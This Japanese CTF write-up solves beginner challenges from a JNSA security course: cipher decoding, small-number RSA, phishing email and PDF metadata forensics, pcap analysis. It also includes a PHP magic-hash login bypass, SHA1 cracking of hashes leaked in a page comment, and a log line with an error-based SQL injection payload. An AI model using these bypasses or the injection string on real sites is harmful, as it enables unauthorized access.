はじめに
JNSAセキュリティチャレンジスクール 2025春期講座「CTF超入門講座」に参加し、CTFをしたのでそのwriteupを書きました
はじめてwriteupを書くので、いろいろ不備があると思いますが、ご容赦ください。
講座内で解き方が説明された問題は省いています。
2日間にわたるCTFでしたが、はじめて1位になれたので結構嬉しいです。
Misc
flag?{マルウェア名を特定せよ} - 100pt
宛先で検索すると、NotPetya
というランサムウェアがヒットする。
flag{Notpetya}だと思ったけど通らない。
flag{Petya}だと通った。
調べてみると、Petya
はビットコインでの支払いを要求するみたい。NotPetya
はPetya
を強化したものっぽい。
NotPetya
はビットコインの支払いではなく軍事的な目的もあったみたい。
このサイトに詳しくPetya
とNotPetya
の違いが書かれていた。
flag{Petya}
文字列の変換もマジックで自由自在 - 10pt
普通に16進数をASCIIすればいい。
Dencodeを使って解読。
それかbashで変換。
$ echo "73 74 6f 70 74 68 69 6e 6b 63 6f 6e 6e 65 63 74" | xxd -r -p
stopthinkconnect
xxd
の-r
で16進数をバイナリにして、-p
でプレーンテキストにする
flag{stopthinkconnect}
Forensic
フィッシングメールの解析 - 100pt
とりあえずダウンロードしてfile
してみる。
$ file phishing_email.eml
phishing_email.eml: ASCII text, with very long lines (2472)
cat
して、中身を確認してみる。
$ cat phishing_email.eml
To: noriaki <noriaki@ctf.k-sec.local>
Subject: =?utf-8?B?RVRD5Yip55So54Wn5Lya44K144O844OT44K544Gu44GK55+l44KJ44Gb?=
Date: Wed, 18 Oct 2023 06:37:40 +0900
MIME-Version: 1.0
Content-Type: multipart/alternative;
boundary="----=_001_ed4281522dfe605e_=----"
This is a multi-part message in MIME format.
------=_001_ed4281522dfe605e_=----
Content-Type: text/plain;
charset="utf-8"
Content-Transfer-Encoding: base64
RVRD5Yip55So54Wn5Lya44K144O844OT44K544Gu44GK55+l44KJ44GbDQoNCuW5s+e0oOOCiOOCikVUQ+WIqeeUqOeFp+S8muOCteODvOODk+OCueOCkuOBlOWIqeeUqOOBhOOBn+OBoOOBjeOAgeiqoOOBq+OBguOCiuOBjOOBqOOBhuOBlOOBluOBhOOBvuOBmeOAgg0KDQrjgZPjga7jg6Hjg7zjg6vjga/jgIFFVEPliKnnlKjnhafkvJrjgrXjg7zjg5Pjgrko55m76Yyy5Z6LKeOBq+OBlOeZu+mMsuOBleOCjOOBpuOBhOOBpuOAgTQyMOaXpemWk+ODreOCsOOCpOODs+OBruOBquOBhOaWueOBq+OBiumAgeOCiuOBl+OBpuOBhOOBvuOBmeOAgg0KDQrjgYrlrqLmp5jjga7jg6bjg7zjgrbjg7xJROOBr+OAgeino+e0hOS6iOWumuaXpeOBvuOBp+OBq+ODreOCsOOCpOODs+OBhOOBn+OBoOOBkeOBquOBhOOBqOeZu+mMsuOBjOino+e0hOOBqOOBquOCiuOBvuOBmeOAgg0K4oC7RVRD5Yip55So54Wn5Lya44K144O844OT44K5KOeZu+mMsuWeiynjga80NTDml6XplpPjg63jgrDjgqTjg7PjgYzjgarjgYTloLTlkIjjgIHjg6bjg7zjgrbjg7xJROOBrueZu+mMsuOBjOiHquWLleeahOOBq+ino+e0hOOBqOOBquOCiuOBvuOBmeOAgg0KDQrjg6bjg7zjgrbjg7xJRCBub3JpYWtpQGN0Zi5rLXNlYy5sb2NhbCANCuino+e0hOS6iOWumuaXpSAyMDI05bm0OeaciDEx5pelKOawtCnjgb7jgafjga4gIA0KDQrop6PntITkuojlrprml6Xjgb7jgafjgavkuIvoqJjjgYvjgonjg63jgrDjgqTjg7PjgZfjgabjgYTjgZ/jgaDjgZHjgozjgbDjgIHjgZTnmbvpjLLjga/ntpnntprjgZXjgozjgb7jgZnjgIINCuKAu+eZu+mMsuOBjOe2mee2muOBleOCjOOBn+mam+OBruOBiuefpeOCieOBm+OBr+OBlOOBluOBhOOBvuOBm+OCk+OAgg0K4oC744OR44K544Ov44O844OJ44GM44KP44GL44KJ44Gq44GE5aC05ZCI44KC44CB44Ot44Kw44Kk44Oz44Oa44O844K444GL44KJ5paw44OR44K544Ov44O844OJ44Gu55m66KGM44KS6KGM44GI44G+44GZ44CCDQoNCkVUQ+WIqeeUqOeFp+S8muOCteODvOODk+OCuSjnmbvpjLLlnosp44Ot44Kw44Kk44Oz4oC744GT44GuVVJM44Gu5pyJ5Yq55pyf6ZaT44Gv5omL57aa44GN5Y+X5LuY5pmC44KI44KKNDjmmYLplpPjgafjgZnjgIINCg0KaHR0cHM6Ly93d3cyLmV0Yy1tZWlzYWkuanAvZXRjL1I/ZnVuY2NvZGU9WFhYWDAwMDAwMCZuZXh0ZnVuYz1YWFhYMDAwMDAwDQoNCuWGjeW6pueZu+mMsuOCkuW4jOacm+OBleOCjOOCi+WgtOWQiOOCguOAgeOBiuawl+i7veOBq+OBlOWIqeeUqOOBj+OBoOOBleOBhOOAgg0KDQrilqDms6jmhI/kuovpoIUNCuOBk+OBruODoeODvOODq+OBr+mAgeS/oeWwgueUqOOBp+OBmeOAgui/lOS/oeOBr+WPl+OBkeS7mOOBkeOBpuOBiuOCiuOBvuOBm+OCk+OAgg0K44GU5LiN5piO54K544GM44GC44KL5aC05ZCI44Gv44CBRVRD5Yip55So54Wn5Lya44K144O844OT44K55LqL5YuZ5bGA44Gr55u05o6l44GK5ZWP44GE5ZCI44KP44Gb44GP44Gg44GV44GE44CCDQrilqBFVEPliKnnlKjnhafkvJrjgrXjg7zjg5Pjgrnkuovli5nlsYANCuW5tOS4reeEoeS8kSA5OjAwfjE4OjAwDQrjg4rjg5Tjg4DjgqTjg6Tjg6sgMDU3MC0wMDEwNjk=
------=_001_ed4281522dfe605e_=----
Content-Type: text/html;
charset="utf-8"
Content-Transfer-Encoding: base64
PGh0bWw+DQo8aGVhZD4NCjxtZXRhIGNvbnRlbnQ9InRleHQvaHRtbDsgY2hhcnNldD11dGYtOCIgaHR0cC1lcXVpdj1Db250ZW50LVR5cGU+DQo8L2hlYWQ+DQo8Ym9keT4NCjxwPkVUQ+WIqeeUqOeFp+S8muOCteODvOODk+OCueOBruOBiuefpeOCieOBmzwvcD4NCjxwPuW5s+e0oOOCiOOCikVUQ+WIqeeUqOeFp+S8muOCteODvOODk+OCueOCkuOBlOWIqeeUqOOBhOOBn+OBoOOBjeOAgeiqoOOBq+OBguOCiuOBjOOBqOOBhuOBlOOBluOBhOOBvuOBmeOAgjwvcD4NCjxwPuOBk+OBruODoeODvOODq+OBr+OAgUVUQ+WIqeeUqOeFp+S8muOCteODvOODk+OCuSjnmbvpjLLlnosp44Gr44GU55m76Yyy44GV44KM44Gm44GE44Gm44CBNDIw5pel6ZaT44Ot44Kw44Kk44Oz44Gu44Gq44GE5pa544Gr44GK6YCB44KK44GX44Gm44GE44G+44GZ44CCPC9wPg0KPHA+44GK5a6i5qeY44Gu44Om44O844K244O8SUTjga/jgIHop6PntITkuojlrprml6Xjgb7jgafjgavjg63jgrDjgqTjg7PjgYTjgZ/jgaDjgZHjgarjgYTjgajnmbvpjLLjgYzop6PntITjgajjgarjgorjgb7jgZnjgII8YnI+4oC7RVRD5Yip55So54Wn5Lya44K144O844OT44K5KOeZu+mMsuWeiynjga80NTDml6XplpPjg63jgrDjgqTjg7PjgYzjgarjgYTloLTlkIjjgIHjg6bjg7zjgrbjg7xJROOBrueZu+mMsuOBjOiHquWLleeahOOBq+ino+e0hOOBqOOBquOCiuOBvuOBmeOAgjwvcD4NCjxwPuODpuODvOOCtuODvElEIG5vcmlha2lAY3RmLmstc2VjLmxvY2FsIDxicj7op6PntITkuojlrprml6UgMjAyNOW5tDnmnIgxMeaXpSjmsLQp44G+44Gn44GuJm5ic3A7IDwvcD4NCjxwPuino+e0hOS6iOWumuaXpeOBvuOBp+OBq+S4i+iomOOBi+OCieODreOCsOOCpOODs+OBl+OBpuOBhOOBn+OBoOOBkeOCjOOBsOOAgeOBlOeZu+mMsuOBr+e2mee2muOBleOCjOOBvuOBmeOAgjxicj7igLvnmbvpjLLjgYzntpnntprjgZXjgozjgZ/pmpvjga7jgYrnn6XjgonjgZvjga/jgZTjgZbjgYTjgb7jgZvjgpPjgII8YnI+4oC744OR44K544Ov44O844OJ44GM44KP44GL44KJ44Gq44GE5aC05ZCI44KC44CB44Ot44Kw44Kk44Oz44Oa44O844K444GL44KJ5paw44OR44K544Ov44O844OJ44Gu55m66KGM44KS6KGM44GI44G+44GZ44CCPC9wPg0KPHA+RVRD5Yip55So54Wn5Lya44K144O844OT44K5KOeZu+mMsuWeiynjg63jgrDjgqTjg7PigLvjgZPjga5VUkzjga7mnInlirnmnJ/plpPjga/miYvntprjgY3lj5fku5jmmYLjgojjgoo0OOaZgumWk+OBp+OBmeOAgjwvcD4NCjxwPjxhIGhyZWY9Imh0dHBzOi8vZmxhZ3tkZWZhbmd9L2V0Yy9SP2Z1bmNjb2RlPVhYWFgwMDAwMDAmbmV4dGZ1bmM9WFhYWDAwMDAwMCI+aHR0cHM6Ly93d3cyLmV0Yy1tZWlzYWkuanAvZXRjL1I/ZnVuY2NvZGU9WFhYWDAwMDAwJm5leHRmdW5jPVhYWFgwMDAwMDA8L2E+PC9wPg0KPHA+5YaN5bqm55m76Yyy44KS5biM5pyb44GV44KM44KL5aC05ZCI44KC44CB44GK5rCX6Lu944Gr44GU5Yip55So44GP44Gg44GV44GE44CCPC9wPg0KPHA+4pag5rOo5oSP5LqL6aCFPGJyPuOBk+OBruODoeODvOODq+OBr+mAgeS/oeWwgueUqOOBp+OBmeOAgui/lOS/oeOBr+WPl+OBkeS7mOOBkeOBpuOBiuOCiuOBvuOBm+OCk+OAgjxicj7jgZTkuI3mmI7ngrnjgYzjgYLjgovloLTlkIjjga/jgIFFVEPliKnnlKjnhafkvJrjgrXjg7zjg5Pjgrnkuovli5nlsYDjgavnm7TmjqXjgYrllY/jgYTlkIjjgo/jgZvjgY/jgaDjgZXjgYTjgII8YnI+4pagRVRD5Yip55So54Wn5Lya44K144O844OT44K55LqL5YuZ5bGAPGJyPuW5tOS4reeEoeS8kSANCjk6MDB+MTg6MDA8YnI+44OK44OU44OA44Kk44Ok44OrIDA1NzAtMDAxMDY5PGJyPjwvcD4NCjwvYm9keT4NCjwvaHRtbD4=
------=_001_ed4281522dfe605e_=------
ファイルを見に行くと、base64エンコードされている。
echo 'RVRD5Yip55So54Wn5Lya44K144O844OT44K544Gu44GK55+l44KJ44GbDQoNCuW5s+e0oOOCiOOCikVUQ+WIqeeUqOeFp+S8muOCteODvOODk+OCueOCkuOBlOWIqeeUqOOBhOOBn+OBoOOBjeOAgeiqoOOBq+OBguOCiuOBjOOBqOOBhuOBlOOBluOBhOOBvuOBmeOAgg0KDQrjgZPjga7jg6Hjg7zjg6vjga/jgIFFVEPliKnnlKjnhafkvJrjgrXjg7zjg5Pjgrko55m76Yyy5Z6LKeOBq+OBlOeZu+mMsuOBleOCjOOBpuOBhOOBpuOAgTQyMOaXpemWk+ODreOCsOOCpOODs+OBruOBquOBhOaWueOBq+OBiumAgeOCiuOBl+OBpuOBhOOBvuOBmeOAgg0KDQrjgYrlrqLmp5jjga7jg6bjg7zjgrbjg7xJROOBr+OAgeino+e0hOS6iOWumuaXpeOBvuOBp+OBq+ODreOCsOOCpOODs+OBhOOBn+OBoOOBkeOBquOBhOOBqOeZu+mMsuOBjOino+e0hOOBqOOBquOCiuOBvuOBmeOAgg0K4oC7RVRD5Yip55So54Wn5Lya44K144O844OT44K5KOeZu+mMsuWeiynjga80NTDml6XplpPjg63jgrDjgqTjg7PjgYzjgarjgYTloLTlkIjjgIHjg6bjg7zjgrbjg7xJROOBrueZu+mMsuOBjOiHquWLleeahOOBq+ino+e0hOOBqOOBquOCiuOBvuOBmeOAgg0KDQrjg6bjg7zjgrbjg7xJRCBub3JpYWtpQGN0Zi5rLXNlYy5sb2NhbCANCuino+e0hOS6iOWumuaXpSAyMDI05bm0OeaciDEx5pelKOawtCnjgb7jgafjga4gIA0KDQrop6PntITkuojlrprml6Xjgb7jgafjgavkuIvoqJjjgYvjgonjg63jgrDjgqTjg7PjgZfjgabjgYTjgZ/jgaDjgZHjgozjgbDjgIHjgZTnmbvpjLLjga/ntpnntprjgZXjgozjgb7jgZnjgIINCuKAu+eZu+mMsuOBjOe2mee2muOBleOCjOOBn+mam+OBruOBiuefpeOCieOBm+OBr+OBlOOBluOBhOOBvuOBm+OCk+OAgg0K4oC744OR44K544Ov44O844OJ44GM44KP44GL44KJ44Gq44GE5aC05ZCI44KC44CB44Ot44Kw44Kk44Oz44Oa44O844K444GL44KJ5paw44OR44K544Ov44O844OJ44Gu55m66KGM44KS6KGM44GI44G+44GZ44CCDQoNCkVUQ+WIqeeUqOeFp+S8muOCteODvOODk+OCuSjnmbvpjLLlnosp44Ot44Kw44Kk44Oz4oC744GT44GuVVJM44Gu5pyJ5Yq55pyf6ZaT44Gv5omL57aa44GN5Y+X5LuY5pmC44KI44KKNDjmmYLplpPjgafjgZnjgIINCg0KaHR0cHM6Ly93d3cyLmV0Yy1tZWlzYWkuanAvZXRjL1I/ZnVuY2NvZGU9WFhYWDAwMDAwMCZuZXh0ZnVuYz1YWFhYMDAwMDAwDQoNCuWGjeW6pueZu+mMsuOCkuW4jOacm+OBleOCjOOCi+WgtOWQiOOCguOAgeOBiuawl+i7veOBq+OBlOWIqeeUqOOBj+OBoOOBleOBhOOAgg0KDQrilqDms6jmhI/kuovpoIUNCuOBk+OBruODoeODvOODq+OBr+mAgeS/oeWwgueUqOOBp+OBmeOAgui/lOS/oeOBr+WPl+OBkeS7mOOBkeOBpuOBiuOCiuOBvuOBm+OCk+OAgg0K44GU5LiN5piO54K544GM44GC44KL5aC05ZCI44Gv44CBRVRD5Yip55So54Wn5Lya44K144O844OT44K55LqL5YuZ5bGA44Gr55u05o6l44GK5ZWP44GE5ZCI44KP44Gb44GP44Gg44GV44GE44CCDQrilqBFVEPliKnnlKjnhafkvJrjgrXjg7zjg5Pjgrnkuovli5nlsYANCuW5tOS4reeEoeS8kSA5OjAwfjE4OjAwDQrjg4rjg5Tjg4DjgqTjg6Tjg6sgMDU3MC0wMDEwNjk=
' | base64 -d
ETC利用照会サービスのお知らせ
平素よりETC利用照会サービスをご利用いただき、誠にありがとうございます。
このメールは、ETC利用照会サービス(登録型)にご登録されていて、420日間ログインのない方にお送りしています。
お客様のユーザーIDは、解約予定日までにログインいただけないと登録が解約となります。
※ETC利用照会サービス(登録型)は450日間ログインがない場合、ユーザーIDの登録が自動的に解約となります。
ユーザーID noriaki@ctf.k-sec.local
解約予定日 2024年9月11日(水)までの
解約予定日までに下記からログインしていただければ、ご登録は継続されます。
※登録が継続された際のお知らせはございません。
※パスワードがわからない場合も、ログインページから新パスワードの発行を行えます。
ETC利用照会サービス(登録型)ログイン※このURLの有効期間は手続き受付時より48時間です。
https://www2.etc-meisai.jp/etc/R?funccode=XXXX000000&nextfunc=XXXX000000
再度登録を希望される場合も、お気軽にご利用ください。
■注意事項
このメールは送信専用です。返信は受け付けておりません。
ご不明点がある場合は、ETC利用照会サービス事務局に直接お問い合わせください。
■ETC利用照会サービス事務局
年中無休 9:00~18:00
ナピダイヤル 0570-001069
flagはドメインらしいので、www2.etc-meisai.jp
ぽいが違った。
htmlの方もデコードしてみる。
echo 'PGh0bWw+DQo8aGVhZD4NCjxtZXRhIGNvbnRlbnQ9InRleHQvaHRtbDsgY2hhcnNldD11dGYtOCIgaHR0cC1lcXVpdj1Db250ZW50LVR5cGU+DQo8L2hlYWQ+DQo8Ym9keT4NCjxwPkVUQ+WIqeeUqOeFp+S8muOCteODvOODk+OCueOBruOBiuefpeOCieOBmzwvcD4NCjxwPuW5s+e0oOOCiOOCikVUQ+WIqeeUqOeFp+S8muOCteODvOODk+OCueOCkuOBlOWIqeeUqOOBhOOBn+OBoOOBjeOAgeiqoOOBq+OBguOCiuOBjOOBqOOBhuOBlOOBluOBhOOBvuOBmeOAgjwvcD4NCjxwPuOBk+OBruODoeODvOODq+OBr+OAgUVUQ+WIqeeUqOeFp+S8muOCteODvOODk+OCuSjnmbvpjLLlnosp44Gr44GU55m76Yyy44GV44KM44Gm44GE44Gm44CBNDIw5pel6ZaT44Ot44Kw44Kk44Oz44Gu44Gq44GE5pa544Gr44GK6YCB44KK44GX44Gm44GE44G+44GZ44CCPC9wPg0KPHA+44GK5a6i5qeY44Gu44Om44O844K244O8SUTjga/jgIHop6PntITkuojlrprml6Xjgb7jgafjgavjg63jgrDjgqTjg7PjgYTjgZ/jgaDjgZHjgarjgYTjgajnmbvpjLLjgYzop6PntITjgajjgarjgorjgb7jgZnjgII8YnI+4oC7RVRD5Yip55So54Wn5Lya44K144O844OT44K5KOeZu+mMsuWeiynjga80NTDml6XplpPjg63jgrDjgqTjg7PjgYzjgarjgYTloLTlkIjjgIHjg6bjg7zjgrbjg7xJROOBrueZu+mMsuOBjOiHquWLleeahOOBq+ino+e0hOOBqOOBquOCiuOBvuOBmeOAgjwvcD4NCjxwPuODpuODvOOCtuODvElEIG5vcmlha2lAY3RmLmstc2VjLmxvY2FsIDxicj7op6PntITkuojlrprml6UgMjAyNOW5tDnmnIgxMeaXpSjmsLQp44G+44Gn44GuJm5ic3A7IDwvcD4NCjxwPuino+e0hOS6iOWumuaXpeOBvuOBp+OBq+S4i+iomOOBi+OCieODreOCsOOCpOODs+OBl+OBpuOBhOOBn+OBoOOBkeOCjOOBsOOAgeOBlOeZu+mMsuOBr+e2mee2muOBleOCjOOBvuOBmeOAgjxicj7igLvnmbvpjLLjgYzntpnntprjgZXjgozjgZ/pmpvjga7jgYrnn6XjgonjgZvjga/jgZTjgZbjgYTjgb7jgZvjgpPjgII8YnI+4oC744OR44K544Ov44O844OJ44GM44KP44GL44KJ44Gq44GE5aC05ZCI44KC44CB44Ot44Kw44Kk44Oz44Oa44O844K444GL44KJ5paw44OR44K544Ov44O844OJ44Gu55m66KGM44KS6KGM44GI44G+44GZ44CCPC9wPg0KPHA+RVRD5Yip55So54Wn5Lya44K144O844OT44K5KOeZu+mMsuWeiynjg63jgrDjgqTjg7PigLvjgZPjga5VUkzjga7mnInlirnmnJ/plpPjga/miYvntprjgY3lj5fku5jmmYLjgojjgoo0OOaZgumWk+OBp+OBmeOAgjwvcD4NCjxwPjxhIGhyZWY9Imh0dHBzOi8vZmxhZ3tkZWZhbmd9L2V0Yy9SP2Z1bmNjb2RlPVhYWFgwMDAwMDAmbmV4dGZ1bmM9WFhYWDAwMDAwMCI+aHR0cHM6Ly93d3cyLmV0Yy1tZWlzYWkuanAvZXRjL1I/ZnVuY2NvZGU9WFhYWDAwMDAwJm5leHRmdW5jPVhYWFgwMDAwMDA8L2E+PC9wPg0KPHA+5YaN5bqm55m76Yyy44KS5biM5pyb44GV44KM44KL5aC05ZCI44KC44CB44GK5rCX6Lu944Gr44GU5Yip55So44GP44Gg44GV44GE44CCPC9wPg0KPHA+4pag5rOo5oSP5LqL6aCFPGJyPuOBk+OBruODoeODvOODq+OBr+mAgeS/oeWwgueUqOOBp+OBmeOAgui/lOS/oeOBr+WPl+OBkeS7mOOBkeOBpuOBiuOCiuOBvuOBm+OCk+OAgjxicj7jgZTkuI3mmI7ngrnjgYzjgYLjgovloLTlkIjjga/jgIFFVEPliKnnlKjnhafkvJrjgrXjg7zjg5Pjgrnkuovli5nlsYDjgavnm7TmjqXjgYrllY/jgYTlkIjjgo/jgZvjgY/jgaDjgZXjgYTjgII8YnI+4pagRVRD5Yip55So54Wn5Lya44K144O844OT44K55LqL5YuZ5bGAPGJyPuW5tOS4reeEoeS8kSANCjk6MDB+MTg6MDA8YnI+44OK44OU44OA44Kk44Ok44OrIDA1NzAtMDAxMDY5PGJyPjwvcD4NCjwvYm9keT4NCjwvaHRtbD4=
' | base64 -d
<html>
<head>
<meta content="text/html; charset=utf-8" http-equiv=Content-Type>
</head>
<body>
<p>ETC利用照会サービスのお知らせ</p>
<p>平素よりETC利用照会サービスをご利用いただき、誠にありがとうございます。</p>
<p>このメールは、ETC利用照会サービス(登録型)にご登録されていて、420日間ログインのない方にお送りしています。</p>
<p>お客様のユーザーIDは、解約予定日までにログインいただけないと登録が解約となります。<br>※ETC利用照会サービス(登録型)は450日間ログインがない場合、ユーザーIDの登録が自動的に解約となります。</p>
<p>ユーザーID noriaki@ctf.k-sec.local <br>解約予定日 2024年9月11日(水)までの </p>
<p>解約予定日までに下記からログインしていただければ、ご登録は継続されます。<br>※登録が継続された際のお知らせはございません。<br>※パスワードがわからない場合も、ログインページから新パスワードの発行を行えます。</p>
<p>ETC利用照会サービス(登録型)ログイン※このURLの有効期間は手続き受付時より48時間です。</p>
<p><a href="https://flag{defang}/etc/R?funccode=XXXX000000&nextfunc=XXXX000000">https://www2.etc-meisai.jp/etc/R?funccode=XXXX00000&nextfunc=XXXX000000</a></p>
<p>再度登録を希望される場合も、お気軽にご利用ください。</p>
<p>■注意事項<br>このメールは送信専用です。返信は受け付けておりません。<br>ご不明点がある場合は、ETC利用照会サービス事務局に直接お問い合わせください。<br>■ETC利用照会サービス事務局<br>年中無休
9:00~18:00<br>ナピダイヤル 0570-001069<br></p>
</body>
</html>
aタグにflagがあった!
flag{defang}
文書のプロパティ情報 - 100pt
pdfのメタデータを確認してみる。
$ pdfinfo press_release.pdf
Title: flag{metadata}
Subject: flag{metadata}
Keywords: flag{metadata}
Author: flag{metadata}
Creator: Microsoft® Word 2019
Producer: Microsoft® Word 2019
CreationDate: Wed Sep 11 04:18:50 2024 JST
ModDate: Wed Sep 11 04:18:50 2024 JST
Custom Metadata: no
Metadata Stream: yes
Tagged: yes
UserProperties: no
Suspects: no
Form: none
JavaScript: no
Pages: 1
Encrypted: no
Page size: 594.96 x 842.04 pts (A4)
Page rot: 0
File size: 73967 bytes
Optimized: no
PDF version: 1.7
flag{metadata}
画像ファイルのスキャン - 100pt
とりあえず画像を開いてみる。
QRコードなので、スキャンしてみる。
スキャンするとflagゲット。
flag{masahiro_hara}
迷惑メールのヘッダー解析 - 100pt
フラグの形式に.jp
が含まれているので、grep
してみる。
$ grep jp meiwaku_header.txt
b=wi2bkB+jzdtjRIDQClOpJyn/t6MQNSZBLNoKMCLU0JWquWqijp4Yfc+jgITTQ9Z7zh
dkim=neutral (body hash did not verify) header.i=@anti.spam.jp header.s=anti.spam.jp header.b=X2jwLATY;
spf=softfail (google.com: domain of transitioning admin@anti.spam.jp does not designate 175.177.155.113 as permitted sender) smtp.mailfrom=admin@anti.spam.jp;
Return-Path: <admin@anti.spam.jp>
Received-SPF: softfail (google.com: domain of transitioning admin@anti.spam.jp does not designate 172.16.155.113 as permitted sender) client-ip=172.16.155.113;
dkim=neutral (body hash did not verify) header.i=@btmdy.com.cn header.s=anti.spam.jp header.b=X2jwLATY;
spf=softfail (google.com: domain of transitioning admin@anti.spam.jp does not designate 172.16.155.113 as permitted sender) smtp.mailfrom=admin@anti.spam.jp;
Received: from mail.anti.spam.jp ([172.16.155.43])
Received-SPF: PASS identity=mailfrom; envelope-from="admin@anti.spam.jp"
dkim=fail (key DNS reply corrupt) header.d=anti.spam.jp
header.i=admin@anti.spam.jp header.b=X2jwLATY;
DKIM-Signature: v=1; a=rsa-sha1; c=relaxed/relaxed; s=anti.spam.jp; d=anti.spam.jp;
h=Sender:From:To:Subject:Date:Message-ID:MIME-Version:Content-Type; i=admin@anti.spam.jp;
DomainKey-Signature: a=rsa-sha1; c=nofws; q=dns; s=anti.spam.jp; d=anti.spam.jp;
Sender: admin@anti.spam.jp
Message-ID: <00fa6daf4946$bd011495$e726a8f4$@etc-meisai.jp>
anti.spam.jp
しかないっぽいのでこれがフラグっぽい。
flag{anti.spam.jp}
Crypto
ハッシュ化されたデータから平文を取得する - 100pt
とりあえずcrackstationを使ってみる。
flagゲット。
flag{kousen}
初めての暗号解読 - 100pt
rot13で解読する。
$ echo "synt{gronucyn}" | tr 'A-Za-z' 'N-ZA-Mn-za-m'
flag{tebahpla}
tr
コマンドは文字列の置換を行うコマンドで'A-Za-z'
は変換前の範囲、'N-ZA-Mn-za-m'
が置換先の範囲。
zの次はaにしないといけないので、上のような範囲指定になる。
flag{tebahpla}
【Crypto 1】emperor - 100pt
普通にシーザー暗号なので、解くだけ。
Key=23の時にflagゲット。
flag{caesar_encryption_is_famous}
【Crypto 2】magic square - 100pt
問題文からヴィジュネル暗号だと分かる。
鍵は3文字なので、o
とp
に同じ鍵が使われていることが分かる。
また、フラグ形式がflag{...}
であることから鍵を簡単に割り出せる。
鍵はjri
。
あとはcyberChefで解く。
flag{how_about_a_classic_cipher?}
【Crypto 3】mystery - 100pt
エニグマの問題。
エニグマの処理の仕方は詳しく知らないけど、問題文のヒントでなんとなくわかりそう...
とりあえずcyberChefで解く。
文字の区切りおかしいけど、解けた!!!
FLAG{ALL PEOPLE TRUST THAT ENIGMA IS NOT SOLVABLE}
【Crypto 4】transform - 100pt
97がa
に対応していることから、ASCIIコードだと分かる。
一応16進数に直す
66, 6C, 61, 67, 7B, 43, 68, 61, 72, 61, 63, 74, 65, 72, 73, 5F, 63, 61, 6E, 5F, 62, 65, 5F, 74, 72, 61, 6E, 73, 66, 6F, 72, 6D, 65, 64, 5F, 69, 6E, 74, 6F, 5F, 6E, 75, 6D, 62, 65, 72, 73, 7D
変換するとflagゲット。
flag{Characters_can_be_transformed_into_numbers}
【Crypto 5】modern - 100pt
RSA暗号の問題。
Nが小さいので、普通に計算できそう。
pythonが使いやすいので、コードを書く。
import sympy
# 与えられたRSAの公開鍵と暗号文
n = 9379
e = 3
C = 8899
# n を素因数分解して p, q を求める
factors = sympy.factorint(n)
p, q = factors.keys()
# オイラーのトーシェント関数 φ(n) の計算
phi_n = (p - 1) * (q - 1)
# e の逆元 d を求める (e * d ≡ 1 mod φ(n))
d = pow(e, -1, phi_n)
# RSAの復号計算 M = C^d mod n
M = pow(C, d, n)
print(M) # 323
flag{323}
Crypto-Extra
Secure Auth - 100pt
アクセスすると、ログイン画面が表示される。
適当にSQLインジェクションを試すがヒットしない。
ページのコードを読んでみる。
コメント発見!!!
<!---
if (isset($_GET['username']) and isset($_GET['password'])) {
if (hash("sha1", $_GET['username']) != "35675e68f4b5af7b995d9205ad0fc43842f16450") {
echo "Invalid username";
}
else if (hash("sha1", $_GET['password']) == "30274c47903bd1bac7633bbf09743149ebab805f") {
echo flag{XXXXXXXXX};
}
else {
echo "Try harder";
}
}
else {
echo "Invalid parameters";
}
--->
crackstationでハッシュ値を解析する。
Hash | Type | Result |
---|---|---|
35675e68f4b5af7b995d9205ad0fc43842f16450 | sha1 | guest |
30274c47903bd1bac7633bbf09743149ebab805f | sha1 | passwd |
ログインすると、flagゲット!!!。
flag{sha1_is_already_collapsed!!}
More Secure Auth - 100pt
アクセスすると、ログイン画面で表示される。
コメントになにかヒントがあるかもしれないので、コード探索。
コメント発見!!!
<!---
if (isset($_GET['username']) and isset($_GET['password'])) {
if (hash("sha1", $_GET['username']) != "d033e22ae348aeb5660fc2140aec35850c4da997") {
echo "Invalid username";
}
else if(hash("sha1", $_GET['password']) == "0e91298726054891218946392579236129043019") {
echo flag{XXXXXXX};
}
else {
echo "Try harder";
}
}
else {
echo "Invalid parameters";
}
--->
同様にcrackstationで解析するも、パスワードはヒットせず...
Hash | Type | Result |
---|---|---|
d033e22ae348aeb5660fc2140aec35850c4da997 | sha1 | admin |
0e91298726054891218946392579236129043019 | Unknown | Not found |
ヒントを見る。
ハッシュ値の先頭2文字に注目してみましょう
ハッシュ値の先頭2文字0e
で調べると、マジックハッシュという手法を発見。
以下chatgpt様の説明。
SHA1ハッシュの先頭が 0e で始まる場合、PHPの緩い比較(==)の脆弱性を利用した「マジックハッシュ」である可能性があります。PHPでは、文字列が数値として評価される際、先頭が数値の場合に数値として解釈されます。0e で始まる文字列は 0 x 10^n と解釈され、n がどんな数であっても結果は 0 になります。
つまり、もし二つの異なる文字列のSHA1ハッシュ値がどちらも 0e で始まり、その後に続く文字列がすべて数値である場合、PHPはこれらを 0 として比較し、true を返してしまうことがあります。
既知のマジックハッシュを探していると、githubを発見。
githubにあった既知のマジックハッシュでログインを試みると、成功しflagゲット。
flag{magic_hash_is_strange_and_miracle_hash}
Network
ゴルゴ13 - 100pt
とりあえずflag
でgrep
してみる。
$ strings HTTP_Connection.pcapng | grep flag
<img src="flag.png">
-GET /flag.png HTTP/1.1
flag.pngがとても怪しい...
wiresharkでエクスポートする。
File
→ Export Objects
→ HTTP
を選択する。
保存して表示してみる。
flagがそのままでた!
flag{reward_swiss_bank}
怪しい機器を特定する切り札は物理層 - 100pt
MACアドレスでベンダーを検索すればよさそう。
maclookup
というコマンドがあるらしいが、kali-linuxで使えなかったので他のやり方を探す。
調べていくと、https://api.macvendors.com/がヒット!
サンプルのphpコードに従って使ってみる。
$ curl -s https://api.macvendors.com/98-B6-E9-NT-64-32
Nintendo Co.,Ltd
天下の任天堂様だった。
flag{Nintendo}
Web
Apache Webサーバーが出力するログ解析 - 100pt
txtファイルなのでとりあえずgrep
してみる。
$ grep cwe web_attack.log
何もヒットしなかった...
とりあえず1行する読んでみる。
$ cat web_attack.log
XXX.XXX.XXX.XXX- - [19/Apr/2024:05:22:13 0100] "GET /wordpress/wp-content.plugins/custom_plugin/check_user.php?userid-1 AND (SELECT 6810 FROM (SELECT COUNT(*), CONCAT (0x7171787671, (SELECT (ELT (6810=6810,1))),0x71707a7871,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) HTTP/1.1" 200 166 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.3) Gecko/20100401 Firefox 4.0 (.NET CLR 3.5.30729)"
